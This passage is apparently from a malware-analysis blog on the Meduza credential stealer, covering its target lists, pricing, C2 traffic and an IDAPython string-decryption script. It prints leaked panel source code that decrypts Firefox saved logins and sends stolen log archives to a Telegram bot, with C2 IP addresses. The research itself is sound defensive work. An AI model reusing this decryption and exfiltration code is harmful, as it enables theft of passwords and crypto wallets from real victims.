Metamask, Metamask (Edge), Metamask (Opera), BinanceChain, Bitapp, Coin98, Safe Pal, Safe Pal (Edge), DAppPlay, Guarda, Equal, Guild, Casper, Casper (Edge), ICONex, Math, Math (Edge), Mobox, Phantom, TronLink, XinPay, Ton, Sollet, Slope, DuinoCoin, Starcoin, Hiro Wallet, MetaWallet, Swash, Finnie, Keplr, Crocobit, Oxygen, Nifty, Liquality, Ronin, Ronin (Edge), Oasis, Temple, Pontem, Solflare, Yoroi, iWallet, Wombat, Coinbase, MewCx, Jaxx Liberty (Web), OneKey, Hycon Lite Client, SubWallet (Polkadot), Goby, TezBox, ONTO Wallet, Hashpack, Cyano, Martian Wallet, Sender Wallet, Zecrey, Auro, Terra Station, KardiaChain, Rabby, NeoLine, Nabox, XDeFi, KHC, CLW, Polymesh, ZilPay, Byone, Eternl, Guarda (Web), Nami, Maiar DeFi Wallet, Leaf Wallet, Brave Wallet, Opera Wallet, CardWallet, Flint, Exodus (Web), TrustWallet, CryptoAirdrop

Desktop cryptowallets

Coinomi, Dash, Litecoin, Bitcoin, Dogecoin, Qtum, Armory, Bytecoin, MultiBit, Jaxx Liberty, Exodus, Ethereum, Electrum, Electrum-LTC, Atomic Wallet, Guarda, WalletWasabi, ElectronCash, Sparrow, IOCoin, PPCoin, BBQCoin, Mincoin, DevCoin, YACoin, Franko, FreiCoin, InfiniteCoin, GoldCoinGLD, Binance, Terracoin, Daedalus Mainnet, MyMonero, MyCrypto, AtomicDEX, Bisq, Defichain-Electrum, TokenPocket (Browser), Zap

Other than browsers and cryptowallets, the stealer also collects sensitive information from password managers, Discord clients (Discord, DiscordCanary, DiscordPTB, Lightcord, DiscordDevelopment), and Telegram clients (Kotatogram, Telegram desktop).

Password Managers

Authenticator, Authenticator (Edge), Trezor Password Manager, GAuth Authenticator, EOS Authenticator, 1Password, 1Password (Edge), KeePassXC (Web), KeePassXC (Web Edge), Dashlane, Dashlane (Edge), Bitwarden, Bitwarden (Edge), NordPass, Keeper, RoboForm (Web), RoboForm (Web Edge), LastPass, LastPass (Edge), BrowserPass, MYKI, MYKI (Edge), Splikity, CommonKey, SAASPASS, Zoho Vault, Authy (Web)

With the new update of the stealer (version 1.3), the panel functionality has changed which allows the users to configure Telegram bot to receive the logs, the FileGrabber functionality was also added with the new update. The stealer also has the file size pumper feature that increases the file size to avoid sandbox and AV analysis; the feature is mostly deployed in all common stealers now, such as Vidar, WhiteSnake Stealer, and Aurora Stealer (RIP).

The stealer is priced at:

  • 1 month – 199$
  • 3 months – 399$

Meduza Stealer does not work in CIS (Commonwealth of Independent States) countries.

update.JPG

P.S: if anyone has the newest version of the stealer, please reach out to me 😉

An example of the received logs is shown below.

logexample.JPG

Technical Analysis

Logs are decrypted on the server side. Below is the snippet of master password decryption on Mozilla and other Gecko browsers. Taking, for example, the get key function. The code first checks if key4.db exists. This is the key database used by Firefox versions 58.0.2 and above. If key4.db exists, it opens an SQLite connection to the file and performs SQL queries to fetch the globalSalt and item2 data, which are used in decrypting the master key. It then checks if the decrypted text from item2 is equal to b’password-check\x02\x02’, a hardcoded string used by Firefox to verify the master password. If the master password is correct, it continues to the next step. Otherwise, it returns None, None, indicating a failure to retrieve the key and the algorithm. The function then queries the database to fetch a11 and a102. a11 is the encrypted master key, and a102 should match the constant CKA_ID. If a102 does not match CKA_ID, it logs a warning and returns None, None. It then decrypts a11 (the encrypted master key) using the decryptPBE function and the globalSalt. The first 24 bytes of the decrypted text are the key used to decrypt the login data. If key4.db does not exist, it checks for the existence of key3.db, which is the older key database used by Firefox. If key3.db exists, it reads the key data from the file and extracts the decryption key using the function extractSecretKey. It also hardcodes the cryptographic algorithm used (‘1.2.840.113549.1.12.5.1.3’, an OBJECTIDENTIFIER, is the identifier for the Triple DES encryption algorithm in CBC mode). If neither key4.db nor key3.db exists in the directory, it logs an error and returns None, None.

def get_key(masterPassword: bytes, directory: Path) -> Tuple[Optional[bytes], Optional[str]]:
    if (directory / 'key4.db').exists():
        conn = sqlite3.connect(directory / 'key4.db')  # firefox 58.0.2 / NSS 3.35 with key4.db in SQLite
        c = conn.cursor()
        # first check password
        c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
        row = c.fetchone()
        globalSalt = row[0]  # item1
        item2 = row[1]
        printASN1(item2, len(item2), 0)
        decodedItem2 = decoder.decode(item2)
        clearText, algo = decryptPBE(decodedItem2, masterPassword, globalSalt)

        if clearText == b'password-check\x02\x02':
            c.execute("SELECT a11,a102 FROM nssPrivate;")
            for row in c:
                if row[0] != None:
                    break
            a11 = row[0]  # CKA_VALUE
            a102 = row[1]
            if a102 == CKA_ID:
                printASN1(a11, len(a11), 0)
                decoded_a11 = decoder.decode(a11)
                # decrypt master key
                clearText, algo = decryptPBE(decoded_a11, masterPassword, globalSalt)
                return clearText[:24], algo
            else:
                logger.warning('No saved login/password')
        return None, None
    elif (directory / 'key3.db').exists():
        keyData = readBsddb(directory / 'key3.db')
        key = extractSecretKey(masterPassword, keyData)
        return key, '1.2.840.113549.1.12.5.1.3'
    else:
        logger.error('Cannot find key4.db or key3.db')
        return None, None
def gecko_decrypt(
        s_path: str,
        master_password: str = ""
) -> Optional[List[GeckoLogin]]:
    try:
        path = Path(s_path)
        key, algo = get_key(master_password.encode(), path)
        if key is None:
            raise ValueError("Unknown error: try to specify master password")

        logins = getLoginData(path)
        if len(logins) == 0:
            logger.warning("No stored passwords")
        else:
            logger.info("Decrypting login/password pairs")
        result: List[GeckoLogin] = []
        if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13':
            for login in logins:
                assert login[0][0] == CKA_ID
                res = GeckoLogin()
                res.url = login[2]
                iv = login[0][1]
                ciphertext = login[0][2]
                res.username = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
                iv = login[1][1]
                ciphertext = login[1][2]
                res.password = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
                result.append(res)
        logger.debug(result)
        return result
    except KeyboardInterrupt as ki:
        raise ki
    except BaseException as error:
        return logger.error(f"{type(error).__name__}: {str(error)}")

Below is the snippet of how the logs are parsed and sent to Telegram Bot. The logs are compressed with 7z.

async def send_to_telegram(
    chat_id: int,
    bot_token: str,
    path: str,
    hwid: str,
    geo: str,
    build_name: str,
    credit_card_count: int,
    cookies_count: int,
    passwords_count: int,
    wallets_count: int,
    steam: bool,
    ip: str
) -> None:
    try:
        async with httpx.AsyncClient(
            base_url=f"https://api.telegram.org/bot{bot_token}",
            http2=True,
            headers={
                "Connection": "close",
                "Accept": "application/json",
                "Accept-Encoding": "gzip, deflate, br"
            }
        ) as client:
            data = {
                "chat_id": chat_id,
                "caption": f"""💻IP: {ip}
🌏Geo: {geo}
🛰Hwid: {hwid}
🛢Build name: {build_name}
💳Credit card: {credit_card_count}
🍪Cookies: {cookies_count}
🔑Password: {passwords_count}
💸Wallets: {wallets_count}
🎮Steam: {steam}"""
            }
            files = {
                "document": (f"[{geo}] {hwid}.7z", open(path, "rb"), "application/x-7z-compressed")
            }
            resp = await client.post("/sendDocument", files=files, data=data)
            await resp.aclose()
    except KeyboardInterrupt as ki:
        raise ki
    except BaseException as ex:
        return logger.error(ex)

The code below is responsible for adding tokens and validating their integrity, ensuring their authenticity before interacting with the main server. It performs validations on the received data, such as checking the timestamp and verifying the integrity of the data. The code checks the provided timestamp against the current UTC timestamp to ensure it is within an acceptable range. If the timestamp is invalid, an error response is returned. If the validations pass, the code encrypts the token and sends a request to the main server (hxxp://89.185.85[.]245) with the encrypted token and other necessary information. The code uses the HashGenerator class and the SHA-512 hash algorithm (sha512) to generate a hash of the concatenated values of token and data.utc_timestamp. It then compares this generated hash with the provided data.sign. If the hashes do not match, an error response is returned, indicating that the input data cannot be validated. The response from the server is processed, and if the authentication is successful (based on the success flag in the response), the received token is stored in the database for further use. A similar operation is performed in the payload. The payload is sent to a remote server as part of an HTTP request. The server will use the provided sign value to validate the integrity of the data by performing the same hash calculation on its end, taking the generated hash value for panel_hash obtained from the registry key into consideration.

  
@bp.route("/token", methods=[RequestMethod.POST])
async def add_token() -> Response:
    json_data = await request.json
    if not AddTokenRequest.validate(json_data):
        return bad_request("Could not validate input data!", additional_data={"success": False})
    data = AddTokenRequest(**json_data)
    if (datetime.datetime.utcnow() - datetime.datetime.fromtimestamp(data.utc_timestamp)) > REQUEST_TIMESTAMP_DELTA:
        return bad_request("Invalid timestamp date!", additional_data={"success": False})
    key = base64.urlsafe_b64decode(data.nonce.encode(Encodings.UTF_8))
    cipher = XSalsaPoly1305(sha256(key, encoder=RawEncoder))
    token = cipher.decrypt_as_string(data.token, encoder=URLSafeBase64Encoder)
    token = TokenSigner.get_and_verify(token)
    if not token:
        return bad_request("Failed to validate user token!", additional_data={"success": False})
    if not HashGenerator(sha512(key, encoder=RawEncoder)).hash_verify(message=token + str(data.utc_timestamp), message_hash=data.sign, encoder=URLSafeBase64Encoder):
        return bad_request("Could not validate input data!", additional_data={"success": False})
    try:
        async with httpx.AsyncClient(
            base_url="http://89.185.85.245",
            http2=True,
            headers={
                "Connection": "close",
                "Content-Type": "application/json",
                "Accept": "application/json",
            }
        ) as client:
            nonce = os.urandom(SecretBox.KEY_SIZE)
            panel_hash = get_panel_hash()
            if not panel_hash:
                return expectation_failed("Error: Panel is not registered yet", additional_data={"success": False})
            timestamp = datetime.datetime.utcnow().timestamp()
            payload = {
                "nonce": base64.urlsafe_b64encode(nonce).decode(Encodings.UTF_8),
                "panel_hash": panel_hash,
                "token": XSalsaPoly1305(sha256(nonce, encoder=RawEncoder)).encrypt(token, encoder=URLSafeBase64Encoder),
                "utc_timestamp": timestamp,
                "sign": HashGenerator(sha512(nonce, encoder=RawEncoder)).hash_gen(token + panel_hash + str(timestamp), encoder=URLSafeBase64Encoder)
            }
            resp = await client.post("/api/auth/token", json=payload)
            data = resp.json()
            success = data.get("success", False)
            if not success:
                return auth_error(f"Failed to add token, server response: {data.get('message', '[No Response]')}", additional_data={"success": False})
            await resp.aclose()
            async with sessionmaker() as session:
                async with session.begin():
                    token_bd = Token(value=token)
                    session.add(token_bd)
                    await session.commit()
                    return jsonify({"message": "Token was added successfully!", "success": True})
                
    except httpx.HTTPError as ex:
        return expectation_failed(f"Could not validate auth token on the main server: {type(ex)} {str(ex)}", additional_data={"success": False})

As mentioned before, the panel handles the parsing and decryption of the collected data. You can see how it parses the data extracted from Chromium browsers using SQL queries in a pseudocode below. Interestingly enough, we can also see the path of the Meduza Stealer’s source code: C:\Users\79026\source\repos\MedusaServer\Src\Core\Parser\Chromium.cpp

ChromiumParser.JPG

Meduza Stealer performs panel hash verification as a part of the panel authentication/registration process. It queries the hash value assigned to PanelHash under Computer\HKEY_CURRENT_USER\SOFTWARE\Medusa.

hashverif.JPG
panelreg.JPG

Below is the mention of the log folder creation and builder output to notify that the main socket is listening on port 15666. Please note that the port is static and cannot be changed at this time.

aurorainit.JPG

Have you noticed that there is a mention of AuroraStealer.cpp? Also, if you compare the logs for Aurora and Meduza stealers. I wrote a blog on Aurora Stealer if you want to check it out here. I am not aware of any Aurora Stealer source code leaks so far. But if you know of any, I would love to hear about it.

aurora-meduza.JPG

Moreover, there is also a slight overlap in Telegram logs layout.

tglogs.JPG

The code below is responsible for creating folders for gathered logs that are then archived.

fldcreate.JPG

In the code snippet below, you can see that the pointers to the vftables (virtual function tables) of classes, such as GeckoParser, SteamDecoder, TelegramParser, DiscordParser, and SystemParser are being assigned. These vftables act as a “lookup table” for the corresponding objects’ virtual functions. When a virtual function is invoked on an object, the stealer will refer to the appropriate vftable based on the object’s type at runtime to determine the specific implementation of the function to execute, for example, parsing the system information collected.

vftable.JPG

The stealer uses vpxor and pxor instructions to perform Vector Packed Bitwise XOR and Packed XOR operations on strings. The xor instruction in x86 assembly language performs a bitwise XOR operation between two operands, which can be registers or memory locations. It operates on single data elements rather than vectorized data. On the other hand, vpxor and pxor instructions are specifically designed for SIMD operations (Single instruction, multiple data), where multiple data elements are processed simultaneously in parallel. These instructions allow for parallel execution of XOR operations on packed data and can significantly improve performance in scenarios that involve processing large amounts of data in parallel.

pxor.JPG

The stealer retrieves the information about the native system and version information using RtlGetVersion and GetNativeSystemInfo functions accordingly and then parses the retrieved information based on the following decrypted strings:

  • Unknown Edition
  • Web Server (core installation)
  • Standard Edition (core installation)
  • Microsoft Hyper-V Server
  • Windows 10 IoT Core
  • Windows IoT Enterprise
  • Windows Home Server
  • Windows Storage Server
  • Standard Edition
  • Small Business Server Premium Edition
  • Small Business Server
  • Server Enterprise (core installation)
  • Enterprise Evaluation
  • Server Enterprise
  • Server Standard (core installation)
  • Datacenter Edition (core installation)
  • Datacenter Edition
  • Server Hyper Core V
  • Business Edition
  • Windows Essential Server Solution Management
  • Windows Essential Server Solution Additional
  • Professional Education
getsysinfo.JPG

Meduza Stealer reaches out to https://api.ipify.org to determine the public IP of the infected machine.

The code below retrieves and processes geographic information based on the user’s location and then appends the result to “geo” tag.

geo.JPG

The time zone information is retrieved via accessing the registry key SYSTEM\CurrentControlSet\Control\TimeZoneInformation and calling the function TimeZoneKeyName.

timezone.JPG

Telegram presence on the host is checked via the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1, specifically the InstallLocation value.

teg_reg_key.JPG

C2 Communication

C2 communication is super similar to Aurora Stealer. It is base64-encoded and parsed in a JSON format. As mentioned before, the stealer communicates with the server over the default port 15666.

traffic.JPG

Summary

Meduza Stealer developers also offer malware development services based on C/C++, Java, JavaScript/TypeScript, Kotlin (JVM), and Python programming languages. (No mention of GoLang? 🙂 ). We might never find out the truth, but it is highly likely that Aurora Stealer developers are also behind Meduza Stealer.

medusaservice.JPG
AURORASVC.JPG

According to Abaddon, who specializes in providing services similar to the Eye of God (one of the Russian Internet’s main data-leak hubs), the Botnet project was the reason Aurora left the market unexpectedly and taking its servers down; it failed to meet users’ expectations and delivered many promises for the product that they could not handle. It is worth mentioning that Aurora priced the botnet at 700$ for a month and 3000$ for lifetime access.    

To summarize this blog, I wrote an IDAPython script to decrypt the strings for 32-bit samples of Meduza Stealers. You can access the script on my GitHub page

Out of curiosity, I tried to pivot other samples based on the developer’s path and stumbled upon HydraClipper (MD5: add6ae21d25ffe8d312dd10ba98df778), which is apparently a clipper that is likely written by the same developer.

IDAPython string decryption script

# Author: RussianPanda
# Reference: https://github.com/X-Junior/Malware-IDAPython-Scripts/tree/main/PivateLoader
# Tested on sample https://www.unpac.me/results/7cac1177-08f5-4faa-a59e-3c7107964f0f?hash=29cf1ba279615a9f4c31d6441dd7c93f5b8a7d95f735c0daa3cc4dbb799f66d4#/

import idautils, idc, idaapi, ida_search
import re  

pattern1 = '66 0F EF'
pattern2 = 'C5 FD EF'

# Start search from end of the file
start = idc.get_segm_end(idc.get_first_seg())

addr_to_data = {}  

def search_and_process_pattern(pattern, start):
    while True:
        addr = ida_search.find_binary(start, 0, pattern, 16, ida_search.SEARCH_UP | ida_search.SEARCH_NEXT)

        if addr == idc.BADADDR:  
            break

        ptr_addr = addr 
        found_mov = False  
        data = ''  

        for _ in range(400):
            ptr_addr = idc.prev_head(ptr_addr)

            if idc.print_insn_mnem(ptr_addr) == 'call' or idc.print_insn_mnem(ptr_addr) == 'jmp' or idc.print_insn_mnem(ptr_addr) == 'jz':
                break

            if idc.print_insn_mnem(ptr_addr) == 'movaps' and re.match(r'xmm[0-9]+', idc.print_operand(ptr_addr, 1)):
                break

            if idc.print_insn_mnem(ptr_addr) == 'mov':
                # Ignore the instruction if the destination is ecx
                if idc.print_operand(ptr_addr, 0) == 'ecx' or idc.print_operand(ptr_addr, 0) == 'edx':
                    continue

                op1_type = idc.get_operand_type(ptr_addr, 0)
                op2_type = idc.get_operand_type(ptr_addr, 1)

                operand_value = idc.get_operand_value(ptr_addr, 1)  

                if (op1_type == idc.o_displ or op1_type == idc.o_reg) and op2_type == idc.o_imm and len(hex(operand_value)[2:]) >= 4:
                    hex_data = hex(idc.get_operand_value(ptr_addr, 1))[2:]
                    hex_data = hex_data.rjust(8, '0') 

                    if hex_data.endswith('ffffffff'):
                        hex_data = hex_data[:-8]
                    if hex_data.startswith('ffffffff'):
                        hex_data = hex_data[8:]

                    # Alternative method for unpacking hex data
                    bytes_data = bytes.fromhex(hex_data)
                    int_data = int.from_bytes(bytes_data, 'little')
                    hex_data = hex(int_data)[2:].rjust(8, '0')

                    data = hex_data + data  
                    found_mov = True

        if found_mov:  # Append the data only if the desired mov instruction was found
            if addr in addr_to_data:
                addr_to_data[addr] = data + addr_to_data[addr]
            else:
                addr_to_data[addr] = data

        # Continue search from the previous address
        start = addr - 1

# Search and process pattern1
search_and_process_pattern(pattern1, start)

# Reset the start variable to search for pattern2
start = idc.get_segm_end(idc.get_first_seg())

# Search and process pattern2
search_and_process_pattern(pattern2, start)

# XOR the string and key and print the decrypted strings
for addr, data in addr_to_data.items():
    if len(data) >= 10:
        string = data[:len(data)//2]
        key = data[len(data)//2:]

        # XOR the string and key
        xored_bytes = bytes([a ^ b for a, b in zip(bytes.fromhex(string), bytes.fromhex(key))])

        decrypted_string = xored_bytes.decode('utf-8', errors='ignore')

        print(f"{hex(addr)}: {decrypted_string}")
    
        # Set IDA comment at the appropriate address
        idaapi.set_cmt(addr, decrypted_string, 0)

Decrypted strings

0x45790c: build_name
0x45774e: execute_path
0x4572b0: screenshot
0x457107: hwid
0x455b91: TimeZoneKeyName
0x454a93:  (x64)
0x4549bf:  (x86)
0x4548eb:  (IA64)
0x4544e4:  Web Server
0x4541c5:  Team
0x452c75:  Education
0x4527d3:  HPC Edition
0x45257c:  Starter
0x452325:  Enterprise
0x451dbb:  Home
0x451ce7:  Home Basic
0x451c13:  Home Premium
0x4519bc:  Professional
0x4518e8:  Ultimate
0x4514cc: Windows 
0x44f6cd: encrypted_key
0x44f581: os_crypt
0x445dfe: Root
0x4408ac: OpenVPN
0x440183: .ovpn
0x43fb3e: discord
0x43f3b8: discord
0x43f1b2: discord
0x43e00d: ssfn
0x43de5b: SteamPath
0x43db98: Steam
0x43cd1e: SOFTWARE\
0x43cc5e: -Qt
0x43cb3a: wallet.dat
0x43ca37: strDataDir
0x43c067: wallet_path
0x43bce8: MoneroCore
0x43b457: datadir
0x43b0d8: Etherwall
0x43ae93: Kotatogram
0x43ac9f: Telegram
0x43a046: tdata
0x439d95: ktg_lang
0x439cd1: user_data#3
0x439c0d: user_data#2
0x439b42: user_data
0x439a81: tdummy
0x4396aa: InstallLocation
0x438e8a: InstallLocation
0x436268: Wallets
0x436178: Grabber
0x436088: telegram
0x435f98: Profiles
0x435d18: Local State
0x435c28: User Data
0x435b38: Profile
0x435a48: Default
0x435958: gecko_browsers
0x435613: TJ
0x435533: MD
0x435453: KG
0x435373: AM
0x435290: UZ
0x4351b3: TM
0x4350ee: GE
0x435023: BY
0x434f5e: KZ
0x434e92: RU
0x434d8d: 167.88.15.114
0x434897: key3.db
0x434797: key4.db
0x434698: signons.sqlite
0x43459a: logins.json
0x434496: cookies.sqlite
0x433e33: Login Data
0x433d23: UC Login Data
0x433c13: Login Data
0x433b03: Ya Passman Data
0x4339f3: Login Data
0x4338e3: Login Data
0x4337d3: History
0x4336c9: History
0x4335c8: Bookmarks
0x4334bb: Bookmarks
0x433023: Cookies
0x432f13: Cookies
0x432e09: Network Cookies
0x432d0b: Network\Cookies
0x432c0a: Web Data
0x432b08: Web Data
0x43272c: CryptoAirdrop
0x4323d8: TrustWallet
0x43209c: Exodus (Web)
0x431d21: Flint
0x431961: CardWallet
0x4315a1: Opera Wallet
0x4311e1: Brave Wallet
0x430e21: Leaf Wallet
0x4305f1: Nami
0x430231: Guarda (Web)
0x42fe71: Eternl
0x42fab1: Byone
0x42f6f1: ZilPay
0x42f331: Polymesh
0x42ef71: CLW
0x42ebb1: Auro
0x42e7f1: OneKey
0x42e431: KHC
0x42e071: XDeFi
0x42dcb1: Nabox
0x42d8f1: NeoLine
0x42d531: Rabby
0x42d171: KardiaChain
0x42cdb1: Terra Station
0x42c9f1: Auro
0x42c631: Zecrey
0x42c271: Sender Wallet
0x42beb1: Martian Wallet
0x42baf1: Cyano
0x42b731: Hashpack
0x42b371: ONTO Wallet
0x42afb1: TezBox
0x42abf1: Goby
0x429f51: OneKey
0x429721: MewCx
0x429361: Coinbase
0x428fa1: Wombat
0x428be1: iWallet
0x428821: Yoroi
0x428461: Solflare
0x4280a1: Pontem
0x427ce1: Temple
0x427921: Oasis
0x427561: Ronin (Edge)
0x4271a1: Ronin
0x426de1: Liquality
0x426a21: Nifty
0x426661: Oxygen
0x4262a1: Crocobit
0x425ee1: Keplr
0x425b21: Finnie
0x425761: Swash
0x4253a1: MetaWallet
0x424fe1: Hiro Wallet
0x424c21: Starcoin
0x424861: DuinoCoin
0x4244a1: Slope
0x4240e1: Sollet
0x423d21: Ton
0x423961: XinPay
0x4235a1: TokenPocket
0x4231e1: TronLink
0x422e21: Phantom
0x422a61: Mobox
0x4226a1: Math (Edge)
0x4222e1: Math
0x421f21: ICONex
0x421b61: Casper (Edge)
0x4217a1: Casper
0x4213e1: Guild
0x421025: Equal
0x420c71: Guarda
0x4208b1: DAppPlay
0x4204f1: Safe Pal (Edge)
0x420131: Safe Pal
0x41fd71: Coin98
0x41f9b1: Bitapp
0x41f5f1: BinanceChain
0x41edc8: Metamask (Edge)
0x41ea1b: Metamask
0x41e5c3: Authy (Web)
0x41e223: Zoho Vault
0x41de83: SAASPASS
0x41dae3: CommonKey
0x41d743: Splikity
0x41d3a3: MYKI (Edge)
0x41d003: MYKI
0x41cc63: BrowserPass
0x41c8c3: LastPass (Edge)
0x41c523: LastPass
0x41bd37: RoboForm (Web)
0x41b9a3: Keeper
0x41b607: NordPass
0x41ae23: Bitwarden
0x41aa83: Dashlane (Edge)
0x41a6e7: Dashlane
0x419f07: KeePassXC (Web)
0x419727: 1Password
0x418249: Authenticator
0x417ec8: SlimBrowser
0x417bf7: BitTube
0x417924: Basilisk
0x417817: Mozilla\IceCat
0x41770a: IceCat
0x417439: Pale Moon
0x417168: BlackHawk
0x416e97: Cyberfox
0x416bc3: IceDragon
0x416ab3: CLIQZ
0x4169a3: CLIQZ
0x416893: Thunderbird
0x416787: Thunderbird
0x416687: K-Meleon
0x416587: K-Meleon
0x416485: Waterfox
0x416378: Waterfox
0x4160a7: SeaMonkey
0x415f9a: Mozilla\Firefox
0x415e96: Firefox
0x415ce4: Falkon\profiles
0x415bd7: Falkon\profiles
0x415903: Naver Whale
0x41562b: ViaSat Browser
0x415193: Kinza
0x415083: Kinza
0x414f73: GarenaPlus
0x414e63: GarenaPlus
0x414d53: NetboxBrowser
0x414c43: NetboxBrowser
0x414b33: GhostBrowser
0x414a23: GhostBrowser
0x414913: SalamWeb
0x414803: SalamWeb
0x4146f3: Superbird
0x4145e3: Superbird
0x4144d3: Sidekick
0x4143c5: Sidekick
0x4142b8: SwingBrowser
0x4141ab: SwingBrowser
0x413d13: Flock
0x413c03: Flock
0x413af3: Blisk
0x4139e3: Blisk
0x4138d4: URBrowser
0x4137c7: URBrowser
0x4134f3: UCBrowser
0x4133e4: AVG\Browser
0x4132d7: AVG Browser
0x413003: AVAST Browser
0x412ef3: Titan Browser
0x412de3: Titan Browser
0x412cd3: SRWare Iron
0x412bc3: SRWare Iron
0x412ab3: Baidu Spark
0x4129a3: Baidu Spark
0x412893: CoolNovo
0x412785: CoolNovo
0x412678: AcWebBrowserr
0x41256b: AcWebBrowser
0x4120d3: Twinkstar
0x411fc3: Twinkstar
0x411eb3: Bromium
0x411da3: Bromium
0x411c93: RockMelt
0x411b83: RockMelt
0x411a73: TorBro\Profile
0x411963: TorBro
0x411853: Suhba
0x411743: Suhba
0x4110e3: ChromePlus
0x410fd3: Coowon\Coowon
0x410ec3: Coowon
0x410db3: Liebao
0x410ca3: Liebao
0x410b94: QIP Surf
0x410a87: QIP Surf
0x4102b3: Citrio
0x40fc53: Opera GX
0x40f527: Opera Neon
0x40f253: Opera Stable
0x40f143: Iridium
0x40f033: Iridium
0x40ef23: CentBrowser
0x40ee13: CentBrowser
0x40ed03: Chedot
0x40ebf3: Chedot
0x40eae4: 7Star\7Star
0x40e9d7: 7Star
0x40e703: Yandex Browser
0x40e5f3: Chromodo
0x40e4e3: Chromodo
0x40e3d3: uCozMedia\Uran
0x40e2c3: Uran
0x40e1b3: CocCoc\Browser
0x40e0a3: CocCoc Browser
0x40df93: Nichrome
0x40de83: Nichrome
0x40dd73: Sputnik\Sputnik
0x40dc63: Sputnik
0x40d703: Go!
0x40d5f3: Go!
0x40d4e4: Xvast
0x40d3d7: Xvast
0x40d103: Lenovo Browser
0x40cff3: Xpom
0x40cee3: Xpom
0x40cdd6: K-Meleon
0x40ccc9: K-Meleon
0x40c9f8: QQBrowser
0x40c727: Maxthon
0x40c453: Maxthon5
0x40c345: Maxthon3\Users
0x40c238: Maxthon3
0x40c12b: 360se6
0x40bc93: 360Browser
0x40bb83: Slimjet
0x40ba77: Slimjet
0x40b973: Comodo
0x40b863: Comodo
0x40b753: Torch
0x40b643: Torch
0x40b533: Comodo\Dragon
0x40b423: Comodo Dragon
0x40b313: Mail.Ru\Atom
0x40b203: Mail.Ru Atom
0x40b0f3: Orbitum
0x40afe3: Orbitum
0x40aed3: Kometa
0x40adc3: Kometa
0x40acb3: Vivaldi
0x40aba3: Vivaldi
0x40aa93: Amigo
0x40a987: Amigo
0x40a337: Brave Browser
0x40a237: Microsoft\Edge
0x40a137: Microsoft Edge
0x40a033: Chromium
0x409f23: Chromium
0x409c4b: 360ChromeX
0x409099: Google\Chrome
0x408f89: Google Chrome
0x408c07: Lightcord
0x408b08: DiscordPTB
0x408a0a: DiscordCanary
0x408906: Discord
0x408623: Zap
0x408347: Bisq
0x408077: Bisq
0x407da3: AtomicDEX
0x407ac3: MyCrypto
0x4077e5: MyMonero
0x407173: Terracoin
0x407061: Terracoin
0x406f4a: Binance Wallet
0x406e3d: Binance\wallets
0x406d25: Binance Wallet
0x406a4a: Binance
0x40693d: Binance
0x406823: GoldCoinGLD
0x406711: GoldCoin (GLD)
0x4065fa: InfiniteCoin
0x4064ed: InfiniteCoin
0x4063d3: FreiCoin
0x4062c1: FreiCoin
0x4061aa: Franko
0x40609d: Franko
0x405f83: YACoin
0x405e71: YACoin
0x405d5a: DevCoin
0x405c4d: devcoin
0x405b33: Mincoin
0x405a21: Mincoin
0x40590a: BBQCoin
0x4057fd: BBQCoin
0x4056e3: PPCoin
0x4055d1: PPCoin
0x4054ba: IOCoin
0x4053ad: IOCoin
0x405293: Sparrow
0x405181: Sparrow\wallets
0x40506a: Sparrow
0x404f5d: Sparrow\config
0x404e43: ElectronCash
0x404b63: ElectronCash
0x404883: WalletWasabi
0x4045a3: WalletWasabi
0x4042c3: Guarda
0x403fe5: Atomic Wallet
0x403d0a: Atomic Wallet
0x403bfd: atomic
0x403ae3: Electrum-LTC
0x403805: Electrum-LTC
0x40352a: Electrum
0x40341d: Electrum\config
0x403303: Electrum
0x403025: Ethereum
0x402d4a: Exodus
0x402c3d: Exodus
0x402b27: Exodus
0x402857: Jaxx Liberty
0x40240a: MultiBit
0x4022fd: MultiBit
0x4021e3: Bytecoin
0x4020d1: bytecoin
0x401fba: Armory
0x401ead: Armory
0x401d93: Qtum
0x401c81: QtumCore
0x401b6a: Dogecoin
0x401a5d: DogecoinCore
0x401943: Bitcoin
0x401832: BitcoinCore
0x40171e: Litecoin
0x40161d: LitecoinCore
0x401503: Dash
0x4013f6: DashCore
0x4012dc: Coinomi
0x4575d5: screen_resolution
0x4569cb: https://api.ipify.org
0x455a87: SYSTEM\CurrentControlSet\Control\TimeZoneInformation
0x455a60: SYSTEM\CurrentControlSet\Control\TimeZoneInformation
0x454e08:  [Build number: 
0x454c18:  (Unknown processor)
0x4547ea:  Unknown Edition
0x454667:  Web Server (core installation)
0x4543e6:  Standard Edition (core installation)
0x4540f1:  Microsoft Hyper-V Server
0x453f6e:  Windows 10 IoT Core
0x453deb:  Windows IoT Enterprise
0x453c68:  Windows Home Server
0x453ae5:  Windows Storage Server
0x453962:  Standard Edition
0x4537b5:  Small Business Server Premium Edition
0x453594:  Small Business Server
0x4533e7:  Server Enterprise (core installation)
0x4531c6:  Enterprise Evaluation
0x453043:  Server Enterprise
0x452e96:  Server Standard (core installation)
0x452b77:  Datacenter Edition (core installation)
0x452956:  Datacenter Edition
0x4526ff:  Server Hyper Core V
0x4524a8:  Business Edition
0x452227:  Windows Essential Server Solution Management 
0x451fdc:  Windows Essential Server Solution Additional
0x451b3f:  Professional Education
0x4500bd: Accept: text/html; text/plain; */*
0x43ff93: OpenVPN Connect\profiles
0x43f5a1: Local Storage\leveldb
0x43dd54: SOFTWARE\Valve\Steam
0x43bf3f: SOFTWARE\monero-project\monero-core
0x43b32f: SOFTWARE\Etherdyne\Etherwall\geth
0x43959c: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C4A4AE8F-B9F7-4CC7-8A6C-BF7EEE87ACA5}_is1
0x439578: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C4A4AE8F-B9F7-4CC7-8A6C-BF7EEE87ACA5}_is1
0x439560: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C4A4AE8F-B9F7-4CC7-8A6C-BF7EEE87ACA5}_is1
0x438d7c: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1
0x438d58: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1
